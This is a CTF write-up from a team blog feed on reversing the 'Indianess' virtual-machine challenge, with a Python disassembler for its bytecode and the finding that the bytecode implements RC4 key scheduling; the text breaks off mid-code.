]]></content></item><item><title>TRX CTF 25 - Indianess</title><link>https://theromanxpl0.it/posts/2025/02/trx-ctf-25-indianess/</link><pubDate>Wed, 26 Feb 2025 00:00:00 +0000</pubDate><author>info@theromanxpl0.it (TRX)</author><guid>https://theromanxpl0.it/posts/2025/02/trx-ctf-25-indianess/</guid><description>&lt;h2 id="challenge-description">Challenge Description&lt;/h2>
&lt;p>&lt;em>Like a timeless classic in literature, this challenge embodies the essence of its genre. A true staple of CTFs, it tests fundamental skills with a familiar yet ever-engaging twist. Seasoned players will recognize its form&lt;/em>&lt;/p>
&lt;h2 id="static-analysis">Static Analysis&lt;/h2>
&lt;p>We can start with a few observations, the challenge attachments contains an executable called &lt;code>vm&lt;/code> and a binary file called &lt;code>bytecode.bin&lt;/code>, as we can guess, this will most likely be a vm challenge, so we can start reversing.&lt;/p></description><content type="html"><![CDATA[<h2 id="challenge-description">Challenge Description</h2>
<p><em>Like a timeless classic in literature, this challenge embodies the essence of its genre. A true staple of CTFs, it tests fundamental skills with a familiar yet ever-engaging twist. Seasoned players will recognize its form</em></p>
<h2 id="static-analysis">Static Analysis</h2>
<p>We can start with a few observations, the challenge attachments contains an executable called <code>vm</code> and a binary file called <code>bytecode.bin</code>, as we can guess, this will most likely be a vm challenge, so we can start  reversing.</p>
<p>Opening the <code>vm</code> executable in IDA reveals a stripped C++ binary. The <code>main</code> function takes two arguments: the bytecode file and a flag string. The function <code>sub_6B67</code> loads the bytecode file and passes its contents to <code>sub_2589</code>, which implements the core of the virtual machine.</p>
<h3 id="understanding-the-virtual-machine">Understanding the Virtual Machine</h3>
<p>Through analysis, we determine that the VM operates on an array, likely used as registers. It supports standard operations such as <code>ADD</code>, <code>SUB</code>, <code>MOV</code>, with multiple operand types like <code>REG2REG</code>, <code>MEM2MEM</code>, and <code>MEM2REG</code>. The last instruction in the bytecode prints output based on the correctness of the flag. Lastly we can notice that the flag len is checked to be 30.</p>
<h2 id="writing-a-disassembler">Writing a Disassembler</h2>
<p>Analyzing the instruction set, we determine the following opcode mappings:</p>
<div class="highlight"><pre tabindex="0" style="color:#fff;background-color:#1f1f24;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-py" data-lang="py"><span style="display:flex;"><span>ADD = <span style="color:#d0bf69">0</span>
</span></span><span style="display:flex;"><span>SUB = <span style="color:#d0bf69">1</span>
</span></span><span style="display:flex;"><span>MUL = <span style="color:#d0bf69">2</span>
</span></span><span style="display:flex;"><span>DIV = <span style="color:#d0bf69">3</span>
</span></span><span style="display:flex;"><span>MOD = <span style="color:#d0bf69">4</span>
</span></span><span style="display:flex;"><span>NOT = <span style="color:#d0bf69">5</span>
</span></span><span style="display:flex;"><span>OR = <span style="color:#d0bf69">6</span>
</span></span><span style="display:flex;"><span>AND = <span style="color:#d0bf69">7</span>
</span></span><span style="display:flex;"><span>XOR = <span style="color:#d0bf69">8</span>
</span></span><span style="display:flex;"><span>MOV = <span style="color:#d0bf69">9</span>
</span></span><span style="display:flex;"><span>ASSERT = <span style="color:#d0bf69">10</span>
</span></span><span style="display:flex;"><span>PRINT = <span style="color:#d0bf69">11</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>REG_REG = <span style="color:#d0bf69">0</span>
</span></span><span style="display:flex;"><span>MEM_IMM_MEM_IMM = <span style="color:#d0bf69">1</span>
</span></span><span style="display:flex;"><span>MEM_IMM_MEM_REG = <span style="color:#d0bf69">2</span>
</span></span><span style="display:flex;"><span>MEM_REG_MEM_IMM = <span style="color:#d0bf69">3</span>
</span></span><span style="display:flex;"><span>MEM_REG_MEM_REG = <span style="color:#d0bf69">4</span>
</span></span><span style="display:flex;"><span>REG_IMM = <span style="color:#d0bf69">5</span>
</span></span><span style="display:flex;"><span>REG_MEM_IMM = <span style="color:#d0bf69">6</span>
</span></span><span style="display:flex;"><span>REG_MEM_REG = <span style="color:#d0bf69">7</span>
</span></span><span style="display:flex;"><span>MEM_IMM_IMM = <span style="color:#d0bf69">8</span>
</span></span><span style="display:flex;"><span>MEM_REG_IMM = <span style="color:#d0bf69">9</span>
</span></span><span style="display:flex;"><span>MEM_IMM_REG = <span style="color:#d0bf69">10</span>
</span></span><span style="display:flex;"><span>MEM_REG_REG = <span style="color:#d0bf69">11</span>
</span></span><span style="display:flex;"><span>REG_PLAIN = <span style="color:#d0bf69">12</span>
</span></span></code></pre></div><p>Now we implement the disassebler knowing the codes.
First, we can start by loading the code file:</p>
<div class="highlight"><pre tabindex="0" style="color:#fff;background-color:#1f1f24;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-py" data-lang="py"><span style="display:flex;"><span>file = <span style="color:#fc6a5d">&#39;bytecode.bin&#39;</span>
</span></span><span style="display:flex;"><span><span style="color:#fc5fa3">with</span> <span style="color:#d0a8ff">open</span>(file, <span style="color:#fc6a5d">&#39;rb&#39;</span>) <span style="color:#fc5fa3">as</span> f:
</span></span><span style="display:flex;"><span>	code = f.read()
</span></span></code></pre></div><p>Then we can write an helper function that gives combine the instruction with the mode:</p>
<div class="highlight"><pre tabindex="0" style="color:#fff;background-color:#1f1f24;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-py" data-lang="py"><span style="display:flex;"><span><span style="color:#fc5fa3">def</span> <span style="color:#41a1c0">parse_code</span>(op: <span style="color:#d0a8ff">str</span>, mode: <span style="color:#d0a8ff">int</span>, op1: <span style="color:#d0a8ff">int</span>, op2: <span style="color:#d0a8ff">int</span>):
</span></span><span style="display:flex;"><span>	<span style="color:#fc5fa3">if</span> mode == REG_IMM or mode == REG_PLAIN:
</span></span><span style="display:flex;"><span>		<span style="color:#d0a8ff">print</span>(<span style="color:#fc6a5d">f</span><span style="color:#fc6a5d">&#39;</span><span style="color:#fc6a5d">{</span>op<span style="color:#fc6a5d">}</span><span style="color:#fc6a5d"> r</span><span style="color:#fc6a5d">{</span>op1<span style="color:#fc6a5d">}</span><span style="color:#fc6a5d">, </span><span style="color:#fc6a5d">{</span>op2<span style="color:#fc6a5d">}</span><span style="color:#fc6a5d">&#39;</span>)
</span></span><span style="display:flex;"><span>	<span style="color:#fc5fa3">elif</span> mode == MEM_IMM_IMM:
</span></span><span style="display:flex;"><span>		<span style="color:#d0a8ff">print</span>(<span style="color:#fc6a5d">f</span><span style="color:#fc6a5d">&#39;</span><span style="color:#fc6a5d">{</span>op<span style="color:#fc6a5d">}</span><span style="color:#fc6a5d"> mem[</span><span style="color:#fc6a5d">{</span>op1<span style="color:#fc6a5d">}</span><span style="color:#fc6a5d">], </span><span style="color:#fc6a5d">{</span>op2<span style="color:#fc6a5d">}</span><span style="color:#fc6a5d">&#39;</span>)
</span></span><span style="display:flex;"><span>	<span style="color:#fc5fa3">elif</span> mode == REG_MEM_IMM:
</span></span><span style="display:flex;"><span>		<span style="color:#d0a8ff">print</span>(<span style="color:#fc6a5d">f</span><span style="color:#fc6a5d">&#39;</span><span style="color:#fc6a5d">{</span>op<span style="color:#fc6a5d">}</span><span style="color:#fc6a5d"> r</span><span style="color:#fc6a5d">{</span>op1<span style="color:#fc6a5d">}</span><span style="color:#fc6a5d">, mem[</span><span style="color:#fc6a5d">{</span>op2<span style="color:#fc6a5d">}</span><span style="color:#fc6a5d">]&#39;</span>)
</span></span><span style="display:flex;"><span>	<span style="color:#fc5fa3">elif</span> mode == REG_REG:
</span></span><span style="display:flex;"><span>		<span style="color:#d0a8ff">print</span>(<span style="color:#fc6a5d">f</span><span style="color:#fc6a5d">&#39;</span><span style="color:#fc6a5d">{</span>op<span style="color:#fc6a5d">}</span><span style="color:#fc6a5d"> r</span><span style="color:#fc6a5d">{</span>op1<span style="color:#fc6a5d">}</span><span style="color:#fc6a5d">, r</span><span style="color:#fc6a5d">{</span>op2<span style="color:#fc6a5d">}</span><span style="color:#fc6a5d">&#39;</span>)
</span></span><span style="display:flex;"><span>	<span style="color:#fc5fa3">elif</span> mode == MEM_IMM_MEM_REG:
</span></span><span style="display:flex;"><span>		<span style="color:#d0a8ff">print</span>(<span style="color:#fc6a5d">f</span><span style="color:#fc6a5d">&#39;</span><span style="color:#fc6a5d">{</span>op<span style="color:#fc6a5d">}</span><span style="color:#fc6a5d"> mem[</span><span style="color:#fc6a5d">{</span>op1<span style="color:#fc6a5d">}</span><span style="color:#fc6a5d">], mem[r</span><span style="color:#fc6a5d">{</span>op2<span style="color:#fc6a5d">}</span><span style="color:#fc6a5d">]&#39;</span>)
</span></span><span style="display:flex;"><span>	<span style="color:#fc5fa3">elif</span> mode == MEM_REG_REG:
</span></span><span style="display:flex;"><span>		<span style="color:#d0a8ff">print</span>(<span style="color:#fc6a5d">f</span><span style="color:#fc6a5d">&#39;</span><span style="color:#fc6a5d">{</span>op<span style="color:#fc6a5d">}</span><span style="color:#fc6a5d"> mem[r</span><span style="color:#fc6a5d">{</span>op1<span style="color:#fc6a5d">}</span><span style="color:#fc6a5d">], r</span><span style="color:#fc6a5d">{</span>op2<span style="color:#fc6a5d">}</span><span style="color:#fc6a5d">&#39;</span>)
</span></span><span style="display:flex;"><span>	<span style="color:#fc5fa3">elif</span> mode == REG_MEM_REG:
</span></span><span style="display:flex;"><span>		<span style="color:#d0a8ff">print</span>(<span style="color:#fc6a5d">f</span><span style="color:#fc6a5d">&#39;</span><span style="color:#fc6a5d">{</span>op<span style="color:#fc6a5d">}</span><span style="color:#fc6a5d"> r</span><span style="color:#fc6a5d">{</span>op1<span style="color:#fc6a5d">}</span><span style="color:#fc6a5d">, mem[r</span><span style="color:#fc6a5d">{</span>op2<span style="color:#fc6a5d">}</span><span style="color:#fc6a5d">]&#39;</span>)
</span></span><span style="display:flex;"><span>	<span style="color:#fc5fa3">elif</span> mode == MEM_REG_MEM_REG:
</span></span><span style="display:flex;"><span>		<span style="color:#d0a8ff">print</span>(<span style="color:#fc6a5d">f</span><span style="color:#fc6a5d">&#39;</span><span style="color:#fc6a5d">{</span>op<span style="color:#fc6a5d">}</span><span style="color:#fc6a5d"> mem[r</span><span style="color:#fc6a5d">{</span>op1<span style="color:#fc6a5d">}</span><span style="color:#fc6a5d">], mem[r</span><span style="color:#fc6a5d">{</span>op2<span style="color:#fc6a5d">}</span><span style="color:#fc6a5d">]&#39;</span>)
</span></span><span style="display:flex;"><span>	<span style="color:#fc5fa3">else</span>:
</span></span><span style="display:flex;"><span>		<span style="color:#d0a8ff">print</span>(<span style="color:#fc6a5d">f</span><span style="color:#fc6a5d">&#39;Unknown mode for </span><span style="color:#fc6a5d">{</span>op<span style="color:#fc6a5d">}</span><span style="color:#fc6a5d">: </span><span style="color:#fc6a5d">{</span>mode<span style="color:#fc6a5d">}</span><span style="color:#fc6a5d">&#39;</span>)
</span></span><span style="display:flex;"><span>		exit(<span style="color:#d0bf69">1</span>)
</span></span></code></pre></div><p>now we can run the program an write only the neede instructions in a loop that reads all the instructions:</p>
<div class="highlight"><pre tabindex="0" style="color:#fff;background-color:#1f1f24;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-py" data-lang="py"><span style="display:flex;"><span>i = <span style="color:#d0bf69">0</span>
</span></span><span style="display:flex;"><span><span style="color:#fc5fa3">while</span> i &lt; <span style="color:#d0a8ff">len</span>(code):
</span></span><span style="display:flex;"><span>	op = code[i]
</span></span><span style="display:flex;"><span>	<span style="color:#fc5fa3">if</span> op == PRINT:
</span></span><span style="display:flex;"><span>		<span style="color:#d0a8ff">print</span>(<span style="color:#fc6a5d">&#39;print&#39;</span>)
</span></span><span style="display:flex;"><span>		i += <span style="color:#d0bf69">1</span>
</span></span><span style="display:flex;"><span>		<span style="color:#fc5fa3">continue</span>
</span></span><span style="display:flex;"><span>	mode = code[i+<span style="color:#d0bf69">1</span>]
</span></span><span style="display:flex;"><span>	<span style="color:#fc5fa3">if</span> op == MOV:
</span></span><span style="display:flex;"><span>		parse_code(<span style="color:#fc6a5d">&#39;mov&#39;</span>, mode, code[i+<span style="color:#d0bf69">2</span>], code[i+<span style="color:#d0bf69">3</span>])
</span></span><span style="display:flex;"><span>	<span style="color:#fc5fa3">elif</span> op == ADD:
</span></span><span style="display:flex;"><span>		parse_code(<span style="color:#fc6a5d">&#39;add&#39;</span>, mode, code[i+<span style="color:#d0bf69">2</span>], code[i+<span style="color:#d0bf69">3</span>])
</span></span><span style="display:flex;"><span>	<span style="color:#fc5fa3">elif</span> op == XOR:
</span></span><span style="display:flex;"><span>		parse_code(<span style="color:#fc6a5d">&#39;xor&#39;</span>, mode, code[i+<span style="color:#d0bf69">2</span>], code[i+<span style="color:#d0bf69">3</span>])
</span></span><span style="display:flex;"><span>	<span style="color:#fc5fa3">elif</span> op == ASSERT:
</span></span><span style="display:flex;"><span>		parse_code(<span style="color:#fc6a5d">&#39;assert&#39;</span>, mode, code[i+<span style="color:#d0bf69">2</span>], code[i+<span style="color:#d0bf69">3</span>])
</span></span><span style="display:flex;"><span>	<span style="color:#fc5fa3">else</span>:
</span></span><span style="display:flex;"><span>		<span style="color:#d0a8ff">print</span>(<span style="color:#fc6a5d">f</span><span style="color:#fc6a5d">&#39;Unknown op: </span><span style="color:#fc6a5d">{</span>op<span style="color:#fc6a5d">}</span><span style="color:#fc6a5d">&#39;</span>)
</span></span><span style="display:flex;"><span>		exit(<span style="color:#d0bf69">1</span>)
</span></span><span style="display:flex;"><span>	i += <span style="color:#d0bf69">4</span>
</span></span></code></pre></div><h2 id="final-disassembler">Final Disassembler</h2>
<div class="highlight"><pre tabindex="0" style="color:#fff;background-color:#1f1f24;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-py" data-lang="py"><span style="display:flex;"><span>file = <span style="color:#fc6a5d">&#39;bytecode.bin&#39;</span>
</span></span><span style="display:flex;"><span><span style="color:#fc5fa3">with</span> <span style="color:#d0a8ff">open</span>(file, <span style="color:#fc6a5d">&#39;rb&#39;</span>) <span style="color:#fc5fa3">as</span> f:
</span></span><span style="display:flex;"><span>	code = f.read()
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>ADD = <span style="color:#d0bf69">0</span>
</span></span><span style="display:flex;"><span>SUB = <span style="color:#d0bf69">1</span>
</span></span><span style="display:flex;"><span>MUL = <span style="color:#d0bf69">2</span>
</span></span><span style="display:flex;"><span>DIV = <span style="color:#d0bf69">3</span>
</span></span><span style="display:flex;"><span>MOD = <span style="color:#d0bf69">4</span>
</span></span><span style="display:flex;"><span>NOT = <span style="color:#d0bf69">5</span>
</span></span><span style="display:flex;"><span>OR = <span style="color:#d0bf69">6</span>
</span></span><span style="display:flex;"><span>AND = <span style="color:#d0bf69">7</span>
</span></span><span style="display:flex;"><span>XOR = <span style="color:#d0bf69">8</span>
</span></span><span style="display:flex;"><span>MOV = <span style="color:#d0bf69">9</span>
</span></span><span style="display:flex;"><span>ASSERT = <span style="color:#d0bf69">10</span>
</span></span><span style="display:flex;"><span>PRINT = <span style="color:#d0bf69">11</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>REG_REG = <span style="color:#d0bf69">0</span>
</span></span><span style="display:flex;"><span>MEM_IMM_MEM_IMM = <span style="color:#d0bf69">1</span>
</span></span><span style="display:flex;"><span>MEM_IMM_MEM_REG = <span style="color:#d0bf69">2</span>
</span></span><span style="display:flex;"><span>MEM_REG_MEM_IMM = <span style="color:#d0bf69">3</span>
</span></span><span style="display:flex;"><span>MEM_REG_MEM_REG = <span style="color:#d0bf69">4</span>
</span></span><span style="display:flex;"><span>REG_IMM = <span style="color:#d0bf69">5</span>
</span></span><span style="display:flex;"><span>REG_MEM_IMM = <span style="color:#d0bf69">6</span>
</span></span><span style="display:flex;"><span>REG_MEM_REG = <span style="color:#d0bf69">7</span>
</span></span><span style="display:flex;"><span>MEM_IMM_IMM = <span style="color:#d0bf69">8</span>
</span></span><span style="display:flex;"><span>MEM_REG_IMM = <span style="color:#d0bf69">9</span>
</span></span><span style="display:flex;"><span>MEM_IMM_REG = <span style="color:#d0bf69">10</span>
</span></span><span style="display:flex;"><span>MEM_REG_REG = <span style="color:#d0bf69">11</span>
</span></span><span style="display:flex;"><span>REG_PLAIN = <span style="color:#d0bf69">12</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#fc5fa3">def</span> <span style="color:#41a1c0">parse_code</span>(op: <span style="color:#d0a8ff">str</span>, mode: <span style="color:#d0a8ff">int</span>, op1: <span style="color:#d0a8ff">int</span>, op2: <span style="color:#d0a8ff">int</span>):
</span></span><span style="display:flex;"><span>	<span style="color:#fc5fa3">if</span> mode == REG_IMM or mode == REG_PLAIN:
</span></span><span style="display:flex;"><span>		<span style="color:#d0a8ff">print</span>(<span style="color:#fc6a5d">f</span><span style="color:#fc6a5d">&#39;</span><span style="color:#fc6a5d">{</span>op<span style="color:#fc6a5d">}</span><span style="color:#fc6a5d"> r</span><span style="color:#fc6a5d">{</span>op1<span style="color:#fc6a5d">}</span><span style="color:#fc6a5d">, </span><span style="color:#fc6a5d">{</span>op2<span style="color:#fc6a5d">}</span><span style="color:#fc6a5d">&#39;</span>)
</span></span><span style="display:flex;"><span>	<span style="color:#fc5fa3">elif</span> mode == MEM_IMM_IMM:
</span></span><span style="display:flex;"><span>		<span style="color:#d0a8ff">print</span>(<span style="color:#fc6a5d">f</span><span style="color:#fc6a5d">&#39;</span><span style="color:#fc6a5d">{</span>op<span style="color:#fc6a5d">}</span><span style="color:#fc6a5d"> mem[</span><span style="color:#fc6a5d">{</span>op1<span style="color:#fc6a5d">}</span><span style="color:#fc6a5d">], </span><span style="color:#fc6a5d">{</span>op2<span style="color:#fc6a5d">}</span><span style="color:#fc6a5d">&#39;</span>)
</span></span><span style="display:flex;"><span>	<span style="color:#fc5fa3">elif</span> mode == REG_MEM_IMM:
</span></span><span style="display:flex;"><span>		<span style="color:#d0a8ff">print</span>(<span style="color:#fc6a5d">f</span><span style="color:#fc6a5d">&#39;</span><span style="color:#fc6a5d">{</span>op<span style="color:#fc6a5d">}</span><span style="color:#fc6a5d"> r</span><span style="color:#fc6a5d">{</span>op1<span style="color:#fc6a5d">}</span><span style="color:#fc6a5d">, mem[</span><span style="color:#fc6a5d">{</span>op2<span style="color:#fc6a5d">}</span><span style="color:#fc6a5d">]&#39;</span>)
</span></span><span style="display:flex;"><span>	<span style="color:#fc5fa3">elif</span> mode == REG_REG:
</span></span><span style="display:flex;"><span>		<span style="color:#d0a8ff">print</span>(<span style="color:#fc6a5d">f</span><span style="color:#fc6a5d">&#39;</span><span style="color:#fc6a5d">{</span>op<span style="color:#fc6a5d">}</span><span style="color:#fc6a5d"> r</span><span style="color:#fc6a5d">{</span>op1<span style="color:#fc6a5d">}</span><span style="color:#fc6a5d">, r</span><span style="color:#fc6a5d">{</span>op2<span style="color:#fc6a5d">}</span><span style="color:#fc6a5d">&#39;</span>)
</span></span><span style="display:flex;"><span>	<span style="color:#fc5fa3">elif</span> mode == MEM_IMM_MEM_REG:
</span></span><span style="display:flex;"><span>		<span style="color:#d0a8ff">print</span>(<span style="color:#fc6a5d">f</span><span style="color:#fc6a5d">&#39;</span><span style="color:#fc6a5d">{</span>op<span style="color:#fc6a5d">}</span><span style="color:#fc6a5d"> mem[</span><span style="color:#fc6a5d">{</span>op1<span style="color:#fc6a5d">}</span><span style="color:#fc6a5d">], mem[r</span><span style="color:#fc6a5d">{</span>op2<span style="color:#fc6a5d">}</span><span style="color:#fc6a5d">]&#39;</span>)
</span></span><span style="display:flex;"><span>	<span style="color:#fc5fa3">elif</span> mode == MEM_REG_REG:
</span></span><span style="display:flex;"><span>		<span style="color:#d0a8ff">print</span>(<span style="color:#fc6a5d">f</span><span style="color:#fc6a5d">&#39;</span><span style="color:#fc6a5d">{</span>op<span style="color:#fc6a5d">}</span><span style="color:#fc6a5d"> mem[r</span><span style="color:#fc6a5d">{</span>op1<span style="color:#fc6a5d">}</span><span style="color:#fc6a5d">], r</span><span style="color:#fc6a5d">{</span>op2<span style="color:#fc6a5d">}</span><span style="color:#fc6a5d">&#39;</span>)
</span></span><span style="display:flex;"><span>	<span style="color:#fc5fa3">elif</span> mode == REG_MEM_REG:
</span></span><span style="display:flex;"><span>		<span style="color:#d0a8ff">print</span>(<span style="color:#fc6a5d">f</span><span style="color:#fc6a5d">&#39;</span><span style="color:#fc6a5d">{</span>op<span style="color:#fc6a5d">}</span><span style="color:#fc6a5d"> r</span><span style="color:#fc6a5d">{</span>op1<span style="color:#fc6a5d">}</span><span style="color:#fc6a5d">, mem[r</span><span style="color:#fc6a5d">{</span>op2<span style="color:#fc6a5d">}</span><span style="color:#fc6a5d">]&#39;</span>)
</span></span><span style="display:flex;"><span>	<span style="color:#fc5fa3">elif</span> mode == MEM_REG_MEM_REG:
</span></span><span style="display:flex;"><span>		<span style="color:#d0a8ff">print</span>(<span style="color:#fc6a5d">f</span><span style="color:#fc6a5d">&#39;</span><span style="color:#fc6a5d">{</span>op<span style="color:#fc6a5d">}</span><span style="color:#fc6a5d"> mem[r</span><span style="color:#fc6a5d">{</span>op1<span style="color:#fc6a5d">}</span><span style="color:#fc6a5d">], mem[r</span><span style="color:#fc6a5d">{</span>op2<span style="color:#fc6a5d">}</span><span style="color:#fc6a5d">]&#39;</span>)
</span></span><span style="display:flex;"><span>	<span style="color:#fc5fa3">else</span>:
</span></span><span style="display:flex;"><span>		<span style="color:#d0a8ff">print</span>(<span style="color:#fc6a5d">f</span><span style="color:#fc6a5d">&#39;Unknown mode for </span><span style="color:#fc6a5d">{</span>op<span style="color:#fc6a5d">}</span><span style="color:#fc6a5d">: </span><span style="color:#fc6a5d">{</span>mode<span style="color:#fc6a5d">}</span><span style="color:#fc6a5d">&#39;</span>)
</span></span><span style="display:flex;"><span>		exit(<span style="color:#d0bf69">1</span>)
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>i = <span style="color:#d0bf69">0</span>
</span></span><span style="display:flex;"><span><span style="color:#fc5fa3">while</span> i &lt; <span style="color:#d0a8ff">len</span>(code):
</span></span><span style="display:flex;"><span>	op = code[i]
</span></span><span style="display:flex;"><span>	<span style="color:#fc5fa3">if</span> op == PRINT:
</span></span><span style="display:flex;"><span>		<span style="color:#d0a8ff">print</span>(<span style="color:#fc6a5d">&#39;print&#39;</span>)
</span></span><span style="display:flex;"><span>		i += <span style="color:#d0bf69">1</span>
</span></span><span style="display:flex;"><span>		<span style="color:#fc5fa3">continue</span>
</span></span><span style="display:flex;"><span>	mode = code[i+<span style="color:#d0bf69">1</span>]
</span></span><span style="display:flex;"><span>	<span style="color:#fc5fa3">if</span> op == MOV:
</span></span><span style="display:flex;"><span>		parse_code(<span style="color:#fc6a5d">&#39;mov&#39;</span>, mode, code[i+<span style="color:#d0bf69">2</span>], code[i+<span style="color:#d0bf69">3</span>])
</span></span><span style="display:flex;"><span>	<span style="color:#fc5fa3">elif</span> op == ADD:
</span></span><span style="display:flex;"><span>		parse_code(<span style="color:#fc6a5d">&#39;add&#39;</span>, mode, code[i+<span style="color:#d0bf69">2</span>], code[i+<span style="color:#d0bf69">3</span>])
</span></span><span style="display:flex;"><span>	<span style="color:#fc5fa3">elif</span> op == XOR:
</span></span><span style="display:flex;"><span>		parse_code(<span style="color:#fc6a5d">&#39;xor&#39;</span>, mode, code[i+<span style="color:#d0bf69">2</span>], code[i+<span style="color:#d0bf69">3</span>])
</span></span><span style="display:flex;"><span>	<span style="color:#fc5fa3">elif</span> op == ASSERT:
</span></span><span style="display:flex;"><span>		parse_code(<span style="color:#fc6a5d">&#39;assert&#39;</span>, mode, code[i+<span style="color:#d0bf69">2</span>], code[i+<span style="color:#d0bf69">3</span>])
</span></span><span style="display:flex;"><span>	<span style="color:#fc5fa3">else</span>:
</span></span><span style="display:flex;"><span>		<span style="color:#d0a8ff">print</span>(<span style="color:#fc6a5d">f</span><span style="color:#fc6a5d">&#39;Unknown op: </span><span style="color:#fc6a5d">{</span>op<span style="color:#fc6a5d">}</span><span style="color:#fc6a5d">&#39;</span>)
</span></span><span style="display:flex;"><span>		exit(<span style="color:#d0bf69">1</span>)
</span></span><span style="display:flex;"><span>	i += <span style="color:#d0bf69">4</span>
</span></span></code></pre></div><h2 id="bytecode-analysis">Bytecode Analysis</h2>
<p>At first we can notice something strange, the bytecode is only using 5 different instructions.
We can inspect the disassembled code to get an idea of what is doing.</p>
<p>If we filter for the assert like operation we notice that there are only 30 of them, exactly as the flag len.
And if we filter for the print operation that checks if we have the correct flag, we see that there is only one at the end of the bytecode.</p>
<p>Now we can look at first operations of the bytecode, and we can see are a lor of initializazion of the memory like:</p>
<div class="highlight"><pre tabindex="0" style="color:#fff;background-color:#1f1f24;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-asm" data-lang="asm"><span style="display:flex;"><span><span style="color:#41a1c0">mov</span> r0, <span style="color:#d0bf69">0</span>
</span></span><span style="display:flex;"><span><span style="color:#41a1c0">mov</span> mem[<span style="color:#d0bf69">0</span>], <span style="color:#d0bf69">0</span>
</span></span><span style="display:flex;"><span><span style="color:#41a1c0">mov</span> mem[<span style="color:#d0bf69">1</span>], <span style="color:#d0bf69">1</span>
</span></span><span style="display:flex;"><span><span style="color:#41a1c0">mov</span> mem[<span style="color:#d0bf69">2</span>], <span style="color:#d0bf69">2</span>
</span></span><span style="display:flex;"><span><span style="color:#41a1c0">mov</span> mem[<span style="color:#d0bf69">3</span>], <span style="color:#d0bf69">3</span>
</span></span><span style="display:flex;"><span><span style="color:#41a1c0">mov</span> mem[<span style="color:#d0bf69">4</span>], <span style="color:#d0bf69">4</span>
</span></span><span style="display:flex;"><span><span style="color:#41a1c0">mov</span> mem[<span style="color:#d0bf69">5</span>], <span style="color:#d0bf69">5</span>
</span></span><span style="display:flex;"><span><span style="color:#41a1c0">mov</span> mem[<span style="color:#d0bf69">6</span>], <span style="color:#d0bf69">6</span>
</span></span><span style="display:flex;"><span><span style="color:#41a1c0">mov</span> mem[<span style="color:#d0bf69">7</span>], <span style="color:#d0bf69">7</span>
</span></span><span style="display:flex;"><span><span style="color:#41a1c0">mov</span> mem[<span style="color:#d0bf69">8</span>], <span style="color:#d0bf69">8</span>
</span></span><span style="display:flex;"><span><span style="color:#41a1c0">mov</span> mem[<span style="color:#d0bf69">9</span>], <span style="color:#d0bf69">9</span>
</span></span><span style="display:flex;"><span><span style="color:#41a1c0">mov</span> mem[<span style="color:#d0bf69">10</span>], <span style="color:#d0bf69">10</span>
</span></span><span style="display:flex;"><span><span style="color:#41a1c0">mov</span> mem[<span style="color:#d0bf69">11</span>], <span style="color:#d0bf69">11</span>
</span></span><span style="display:flex;"><span><span style="color:#41a1c0">mov</span> mem[<span style="color:#d0bf69">12</span>], <span style="color:#d0bf69">12</span>
</span></span><span style="display:flex;"><span><span style="color:#41a1c0">mov</span> mem[<span style="color:#d0bf69">13</span>], <span style="color:#d0bf69">13</span>
</span></span><span style="display:flex;"><span>...
</span></span></code></pre></div><p>This is very strange, also after the initialization we are greeted with another strange combination of instructions like:</p>
<div class="highlight"><pre tabindex="0" style="color:#fff;background-color:#1f1f24;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-asm" data-lang="asm"><span style="display:flex;"><span><span style="color:#41a1c0">mov</span> r1, mem[<span style="color:#d0bf69">0</span>]
</span></span><span style="display:flex;"><span><span style="color:#41a1c0">add</span> r1, <span style="color:#d0bf69">93</span>
</span></span><span style="display:flex;"><span><span style="color:#41a1c0">add</span> r1, r0
</span></span><span style="display:flex;"><span><span style="color:#41a1c0">mov</span> r0, r1
</span></span><span style="display:flex;"><span><span style="color:#41a1c0">mov</span> r2, mem[<span style="color:#d0bf69">0</span>]
</span></span><span style="display:flex;"><span><span style="color:#41a1c0">mov</span> mem[<span style="color:#d0bf69">0</span>], mem[r0]
</span></span><span style="display:flex;"><span><span style="color:#41a1c0">mov</span> mem[r0], r2
</span></span><span style="display:flex;"><span>...
</span></span></code></pre></div><p>That is repeated with a different value and offset. if we filter by &ldquo;add r1, &quot; and remove the ones with r0,
We see that the hardcoded values repeats themselves after 16 bytes,
and if we filter for &ldquo;mov r1, mem&rdquo; to see how far it goes we see that it goes until 255.
This can be unrolled to the following code:</p>
<div class="highlight"><pre tabindex="0" style="color:#fff;background-color:#1f1f24;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-py" data-lang="py"><span style="display:flex;"><span>r0 = <span style="color:#d0bf69">0</span>
</span></span><span style="display:flex;"><span>mem = [<span style="color:#d0bf69">0</span>] * <span style="color:#d0bf69">256</span>
</span></span><span style="display:flex;"><span><span style="color:#fc5fa3">for</span> i in <span style="color:#d0a8ff">range</span>(<span style="color:#d0bf69">256</span>):
</span></span><span style="display:flex;"><span>	mem[i] = i
</span></span><span style="display:flex;"><span>hardcoded = [...]
</span></span><span style="display:flex;"><span><span style="color:#fc5fa3">for</span> i in <span style="color:#d0a8ff">range</span>(<span style="color:#d0bf69">256</span>):
</span></span><span style="display:flex;"><span>	r0 += mem[i] + hardcoded[i % <span style="color:#d0bf69">16</span>]
</span></span><span style="display:flex;"><span>	mem[i], mem[r0] = mem[r0], mem[i] <span style="color:#6c7986"># swap</span>
</span></span></code></pre></div><p>After a quick look we recognize the initialization frunction of <strong>RC4</strong>!</p>
<p>After this realization we can extract with the disassembler the hardcoded values in the <em>movs</em> and in the <em>asserts</em></p>
<div class="highlight"><pre tabindex="0" style="color:#fff;background-color:#1f1f24;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-py" data-lang="py"><span style="display:flex;"><span><span style="color:#fc5fa3">elif</span> op == ADD:
</span></span><span style="display:flex;"><span>	<span style="color:#fc5fa3">if</span> mode == REG_IMM or mode == REG_PLAIN:
